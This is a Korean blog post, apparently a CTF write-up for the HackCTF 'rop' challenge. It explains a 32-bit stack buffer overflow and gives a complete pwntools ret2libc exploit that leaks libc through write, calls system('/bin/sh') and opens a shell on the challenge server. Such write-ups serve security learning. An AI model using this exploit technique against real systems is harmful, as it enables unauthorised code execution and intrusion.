728x90
checksec
- 32bit
- No Canary
- NX
+) 라이브러리 파일(libc.so.6)이 따로 있으므로 이 점 주의
Analyze
pseudo code
vulnerable_function 함수에서 buf를 0x88byte만큼 할당하고 read함수를 통해 0x100 byte 읽으면서 stack buffer overflow가 발생한다.
write함수의 plt와 got 값을 이용해 libc를 leak하도록 한다 >> 가젯을 찾아야한다.
gadgets
read함수와 write함수 모두 인자를 3개씩 가지는 함수이므로 pppr 가젯을 찾아야한다.
pop esi ; pop edi ; pop ebp ; ret ; 가젯 주소 = 0x8048509
pop ebp ; ret ; 가젯 주소 = 0x804850b
Exploit
from pwn import *
#context.log_level = 'debug'
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz",3021)
elf = ELF("./rop")
libc = ELF("./libc.so.6")
binsh = binsh_offset = libc.search("/bin/sh").next()
vulnerable_function = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
write_got = elf.got['write']
system_off = libc.symbols['system']
write_off = libc.symbols['write']
pr = 0x804850b
pppr = 0x8048509
one_gadget = 0x3ac6c
pl = "A"*(0x88+4)
pl += p32(write_plt)
pl += p32(pppr)
pl += p32(1)
pl += p32(write_got)
pl += p32(4)
pl += p32(vulnerable_function)
p.send(pl)
write_add = u32(p.recv(4))
print("write-address: "+hex(write_add))
libcbase = write_add - write_off
print("libc-base: "+hex(libcbase))
system_add = system_off + libcbase
print("system-address: "+hex(system_add))
pl = "A"*(0x88 + 4)
pl += p32(system_add)
pl += p32(pr)
pl += p32(binsh+libcbase)
p.send(pl)
p.interactive()
라이브러리 내에서 "/bin/sh"의 문자열을 찾는 폰 툴: libc.search("/bin/sh").next()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] offset (2) | 2021.02.03 |
---|---|
[HackCTF] basic_bof2 (2) | 2021.02.01 |
[HackCTF] bof_basic (1) | 2021.01.22 |
[POXX 2020] tips (0) | 2021.01.19 |
[POXX 2020] investigator (0) | 2021.01.19 |